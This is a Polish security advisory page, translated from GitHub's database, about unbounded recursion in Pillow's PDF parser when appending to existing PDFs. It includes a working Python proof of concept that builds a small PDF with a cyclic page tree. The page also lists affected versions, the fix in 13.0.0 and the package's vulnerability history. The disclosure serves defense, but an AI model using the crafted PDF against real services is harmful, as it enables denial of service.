Wysoka

Pillow: Nieograniczona rekursja podczas parsowania drzewa stron lub łańcucha trailer w PDF (niekompletna poprawka dla CVE-2026-42310)

  • Ujawniono: 20.10.2026
  • Aktualizacja: 20.10.2026 23:38

Podsumowanie

Gdy aplikacja dopisuje dane do istniejącego pliku PDF za pomocą Image.save(..., format="PDF", append=True), Pillow analizuje ten plik przy użyciu PdfParser. Dwa rekurencyjne parsery nie posiadają skutecznego ograniczenia. linearize_page_tree podąża za /Kids bez zbioru odwiedzonych elementów ani limitu głębokości, w związku z czym cykliczne lub zduplikowane drzewo stron rekursuje w nieskończoność. read_prev_trailer odrzuca jedynie dokładnie powtórzony offset /Prev, więc długi łańcuch unikalnych offsetów nadal powoduje rekursję. Zabezpieczenie przed pętlami w sekcji trailer dodane dla CVE-2026-42310 nie obejmuje żadnego z tych przypadków.

Szczegóły

linearize_page_tree wykonuje rekursję na /Kids bez weryfikacji cykli lub limitu głębokości:

  • src/PIL/PdfParser.py:1078-1092

read_prev_trailer wykrywa jedynie powtórzony offset:

  • src/PIL/PdfParser.py:697-720 (sprawdzenie processed_offsets w :714-718 stanowi poprawkę dla CVE-2026-42310; łańcuch unikalnych offsetów omija to zabezpieczenie)

PoC

python
from PIL import PdfParser

# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
    1: b"<< /Type /Catalog /Pages 2 0 R >>",
    2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b")   # append=True parses the existing file the same way

Uruchomienie:

bash
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded

Plik o rozmiarze 315 bajtów wywołuje rekursję podczas przetwarzania. Zduplikowane (niecykliczne) drzewo /Kids generuje natomiast ponadliniowe zużycie procesora i pamięci, a długi łańcuch /Prev o unikalnych offsetach wyzwala rekursję po stronie trailera.

Wpływ

Usługa dołączająca dane do plików PDF dostarczonych przez użytkownika, na przykład potok stemplowania lub nakładania znaków wodnych, może zostać doprowadzona do nieprzechwyconej rekursji lub znacznego zużycia procesora i pamięci przed zapisaniem jakiegokolwiek obrazu. Stanowi to kontynuację CVE-2026-42310. Ponieważ zasady Pillow zniechęcają do zgłaszania zwykłych wyjątków Pythona jako odmowy usługi (DoS), kluczowy jest przypadek cyklicznego drzewa, który powoduje zużycie procesora i pamięci, zamiast jedynie wywoływać RecursionError. Poprawka wprowadza zbiór odwiedzonych elementów oraz limit głębokości w obu parserach.

Co trzeba zrobić

Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) pillow >= 5.1.0, < 13.0.0 13.0.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-674
Platforma
Python (PyPI)
Paczka
pillow
Ujawniono
20.10.2026
Aktualizacja
20.10.2026 23:38

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-p4wg-p73j-c528 - CC BY 4.0

Historia podatności: pillow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (81) w archiwum
Wszystkich wpisów
81
Pierwsza → ostatnia
04.2014 10.2026
Bez poprawki
0
Wykorzystywana w atakach
1

Rozkład istotności

  • Krytyczna 10
  • Wysoka 53
  • Średnia 16
  • Niska 1
  • Nieoceniona 1

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 23

wcześniej: 12

Istotność:
  1. Pillow: Nieograniczona rekursja podczas parsowania drzewa stron lub łańcucha trailer w PDF (niekompletna poprawka dla CVE-2026-42310) ten wpis
    Wysoka CVE-2026-112895 >= 5.1.0, < 13.0.0 13.0.0
  2. Wysoka · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  3. Wysoka CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  4. Wysoka · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  5. Wysoka CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  6. Wysoka · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  7. Wysoka · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  8. Krytyczna · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
Pokaż więcej (20) Widać 20 z 63

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.